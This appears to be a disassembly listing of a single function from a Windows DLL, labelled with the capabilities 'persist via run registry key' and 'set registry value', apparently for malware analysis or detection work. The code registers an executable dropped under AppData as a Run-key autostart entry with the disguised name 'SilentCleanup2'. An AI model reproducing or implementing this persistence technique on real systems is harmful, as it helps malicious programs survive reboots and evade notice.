Function at 0x180002a20
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b8]
sub rsp, 0x2b8
xor r12d, r12d
mov r13d, r12d
mov dword [rbp + 0x200], r12d
mov qword [rbp + 0x210], r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], r12b
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
xor r8d, r8d
lea rdx, [0x1800686c0]
lea rcx, [rsp + 0x30]
call fcn.180008840
nop
mov qword [rbp + 0x208], r12
mov qword [rbp + 0x218], r12
lea r8, str.APPDATA
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x208]
call fcn.18003aa24
lea r14d, [r12 + 7]
test eax, eax
jne 0x180002c6f
cmp qword [rbp + 0x208], r12
je 0x180002c6f
lea rcx, [rbp - 0x50]
call fcn.180004170
nop
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp - 0x40]
call fcn.180007ee0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov edi, r12d
mov qword [rsp + 0x60], r12
mov esi, r14d
mov qword [rsp + 0x68], r14
mov word [rsp + 0x50], r12w
mov dword [rbp + 0x200], 8
movups xmmword [rsp + 0x70], xmm0
mov rcx, qword [rbp + 0x38]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x180002b3f
mov rax, qword [rbp + 8]
mov rdx, qword [rax]
test rdx, rdx
je 0x180002b3f
mov rax, qword [rbp - 0x18]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0x30]
cmovb rdx, qword [rbp + 0x30]
jmp 0x180002b62
test cl, 4
jne 0x180002ba5
mov rax, qword [rbp]
mov rdx, qword [rax]
test rdx, rdx
je 0x180002ba5
mov rax, qword [rbp - 0x20]
mov r9, qword [rax]
mov rax, qword [rbp + 0x18]
movsxd rcx, dword [rax]
lea rdx, [rdx + rcx*2]
sub rdx, r9
mov rax, r9
sar rdx, 1
test rax, rax
je 0x180002ba5
lea rcx, [rsp + 0x50]
cmp rdx, r14
ja 0x180002b96
mov qword [rsp + 0x60], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.180033970
mov word [rsp + rbx + 0x50], r12w
jmp 0x180002b9b
call fcn.180008db0
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov r13d, 4
lea r9, [rsp + 0x50]
mov r15, qword [rsp + 0x50]
cmp rsi, 8
cmovae r9, r15
mov r12, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r12
cmp rdi, rax
ja 0x180002c08
lea rax, [rdi + r12]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x30]
lea rcx, [rbx + r12*2]
lea r8, [rdi + rdi]
mov rdx, r9
call fcn.180033970
lea rax, [rdi + r12]
xor r12d, r12d
mov word [rbx + rax*2], r12w
jmp 0x180002c2a
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.180008530
mov rsi, qword [rsp + 0x68]
mov r15, qword [rsp + 0x50]
xor r12d, r12d
cmp rsi, 8
jb 0x180002c66
lea rdx, [rsi*2 + 2]
mov rax, r15
cmp rdx, 0x1000
jb 0x180002c5d
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003086
mov rcx, r15
call fcn.1800319c0
nop
lea rcx, [rbp - 0x50]
call fcn.1800030a0
mov rax, qword [rsp + 0x40]
dec rax
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov word [rcx + rax*2], r12w
mov rax, qword [rsp + 0x40]
dec rax
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov word [rcx + rax*2], r12w
mov rax, qword [rsp + 0x40]
dec rax
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov word [rcx + rax*2], r12w
mov rax, qword [rsp + 0x40]
dec rax
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov word [rcx + rax*2], r12w
mov rax, qword [rsp + 0x40]
dec rax
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov word [rcx + rax*2], r12w
mov rax, qword [rsp + 0x40]
dec rax
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov word [rcx + rax*2], r12w
mov rax, qword [rsp + 0x40]
dec rax
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov word [rcx + rax*2], r12w
lea rcx, [rbp + 0xb0]
call fcn.180004170
nop
lea rdx, str.LocalMicrosoftWindowsAppsdropfile.exe
lea rcx, [rbp + 0xc0]
call fcn.180007ee0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov rdi, r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r14
mov word [rsp + 0x50], r12w
or r13d, 2
mov dword [rbp + 0x200], r13d
movups xmmword [rsp + 0x70], xmm0
mov r8, qword [rbp + 0x138]
test r8b, 2
je 0x180002dc6
mov rcx, r12
test r8b, 0x20
je 0x180002dfc
mov rax, qword [rbp + 0x108]
mov rdx, qword [rax]
mov rcx, r12
test rdx, rdx
je 0x180002dfc
mov rax, qword [rbp + 0xe8]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0x130]
cmovb rdx, qword [rbp + 0x130]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x180002e3c
test r8b, 4
jne 0x180002e77
mov rax, qword [rbp + 0x100]
mov r8, qword [rax]
mov rdx, r12
test r8, r8
je 0x180002e37
mov rax, qword [rbp + 0xe0]
mov r9, qword [rax]
mov rax, qword [rbp + 0x118]
movsxd rcx, dword [rax]
lea rdx, [r8 + rcx*2]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x180002e3c
mov r9, qword [rsp + 0x70]
test rcx, rcx
je 0x180002e77
lea rcx, [rsp + 0x50]
cmp rdx, 7
ja 0x180002e68
mov qword [rsp + 0x60], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.180033970
mov word [rsp + rbx + 0x50], r12w
jmp 0x180002e6d
call fcn.180008db0
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
lea r9, [rsp + 0x50]
mov rsi, qword [rsp + 0x50]
cmp r14, 8
cmovae r9, rsi
mov r15, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r15
cmp rdi, rax
ja 0x180002ed1
lea rax, [rdi + r15]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x30]
lea rcx, [rbx + r15*2]
lea r8, [rdi + rdi]
mov rdx, r9
call fcn.180033970
lea rax, [rdi + r15]
mov word [rbx + rax*2], r12w
jmp 0x180002ef0
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.180008530
mov r14, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x50]
cmp r14, 8
jb 0x180002f2b
lea rdx, [r14*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180002f23
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000308c
mov rcx, rsi
call fcn.1800319c0
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000301e
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea r8d, [rax + 0xe]
lea rdx, str.SilentCleanup2
lea rcx, [rsp + 0x50]
call fcn.180008840
mov eax, dword [rsp + 0x40]
lea eax, [rax*2 + 2]
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x210]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180003010
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000300b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003092
call fcn.1800319c0
mov rcx, qword [rbp + 0x210]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0xb0]
call fcn.1800030a0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x18000306a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003064
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003080
call fcn.1800319c0
nop
xor eax, eax
add rsp, 0x2b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.18003a660
nop
call fcn.18003a660
nop
call fcn.18003a660
int3
call fcn.18003a660
int3